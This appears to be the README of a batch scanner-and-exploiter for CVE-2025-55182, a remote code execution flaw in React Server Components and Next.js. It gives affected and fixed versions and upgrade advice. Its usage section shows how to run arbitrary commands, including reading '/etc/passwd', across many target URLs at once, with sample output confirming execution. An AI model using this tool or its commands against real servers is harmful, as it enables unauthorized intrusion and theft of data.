CVE-2025-55182 RCE Scanner

Batch detection and verification tool for CVE-2025-55182 (React2Shell) remote code execution vulnerability.

⚠️ CVSS 10.0 Critical Vulnerability | Affects React Server Components and Next.js 15.x/16.x versions | For authorized security testing only

Vulnerability Overview

CVE-2025-55182 (aka "React2Shell") is a CVSS 10.0 critical severity unauthenticated remote code execution (RCE) vulnerability.

This vulnerability originates from unsafe deserialization in the react-server package of React Server Components (RSC) when handling the RSC "Flight" protocol. An attacker can send a crafted HTTP request to execute arbitrary code on the vulnerable server.

Since Next.js uses the RSC "Flight" protocol, even default configuration applications created with create-next-app may be exploitable without the developer writing any additional code. Active exploitation has been observed since December 5, 2025.

Affected Versions

React Server Components affected versions:

Package	Affected Versions
react-server-dom-webpack	19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack	19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel	19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js affected versions (using App Router):

Major Version	Affected Version Range	Fixed Version
16.0.x	≤ 16.0.6	16.0.7
15.5.x	≤ 15.5.6	15.5.7
15.4.x	≤ 15.4.7	15.4.8
15.3.x	≤ 15.3.5	15.3.6
15.2.x	≤ 15.2.5	-
15.1.x	≤ 15.1.8	-
15.0.x	≤ 15.0.4	-
14.x Canary	≥ 14.3.0-canary.77	-

Other potentially affected RSC frameworks/tools:

• react-router
• waku
• @parcel/rsc
• @vitejs/plugin-rsc
• rwsdk
• RedwoodJS (RSC mode)

Temporary Mitigation

⚠️ Important: No known temporary mitigation exists for this vulnerability. Upgrading to a secure version is the only fix.

Recommended upgrade versions:

• React: Upgrade to 19.0.1, 19.1.2, or 19.2.1
• Next.js: Upgrade to 16.0.7, 15.5.7, 15.4.8, or 15.3.6

The official fix-react2shell-next npm package can help update affected Next.js applications.

Install Dependencies

pip install requests

Usage

Basic Usage

# Batch scan (read targets from urls.txt)
python CVE-2025-55182.py -f urls.txt

# Single target test
python CVE-2025-55182.py -u http://192.168.1.100:3000

Custom Command

# Execute whoami command
python CVE-2025-55182.py -f urls.txt -c "whoami"

# Execute hostname command
python CVE-2025-55182.py -u http://target.com -c "hostname"

# Read file
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"

Advanced Options

# Specify thread count and timeout
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15

# Custom output file
python CVE-2025-55182.py -f urls.txt -o scan_results.csv

# Quiet mode (output only vulnerable URLs)
python CVE-2025-55182.py -f urls.txt -q

Parameter Description

Parameter	Description	Default
-f, --file	URL list file	urls.txt
-u, --url	Single target URL	-
-t, --threads	Concurrent threads	20
--timeout	Request timeout (seconds)	10
-o, --output	Output CSV file	results.csv
-c, --command	Command to execute	id
-q, --quiet	Quiet mode	false

URL File Format

One URL per line, for example:

http://192.168.1.10:3000
http://192.168.1.11:3000

Output Example

    +---------------------------------------------------------------+
    |   ###   ## #######  ##  ## ########       ## #######          |
    |   ####  ## ##       ## ##     ##          ## ##               |
    |   ## ## ## #####     ###      ##          ## #######          |
    |   ##  #### ##       ## ##     ##      ##  ##       ##         |
    |   ##   ### ####### ##   ##    ##       ####  #######          |
    |                                                               |
    |   CVE-2025-55182 RCE Scanner                                  |
    +---------------------------------------------------------------+

============================================================
  [ CONFIGURATION ]
============================================================
  > Targets: 10
  > Threads: 20
  > Command: id

============================================================
  [ SCANNING ]
============================================================
  [14:30:25] [VULN] http://192.168.1.10:3000
             '--> uid=1000(www-data)
  [14:30:26] [SAFE] http://192.168.1.11:3000

+==========================================================+
|                     SCAN COMPLETE                        |
+==========================================================+
|  Total Targets :    10                                   |
|  Vulnerable    :     1                                   |
|  Safe          :     9                                   |
|  Errors        :     0                                   |
+==========================================================+

Output File

Scan results are saved in CSV format with the following fields:

• url - Target URL
• status - HTTP status code
• vulnerable - Whether vulnerable
• output - Command execution output
• error - Error message

Disclaimer

This tool is intended for authorized security testing only. Do not use for illegal purposes. Users assume all related responsibilities.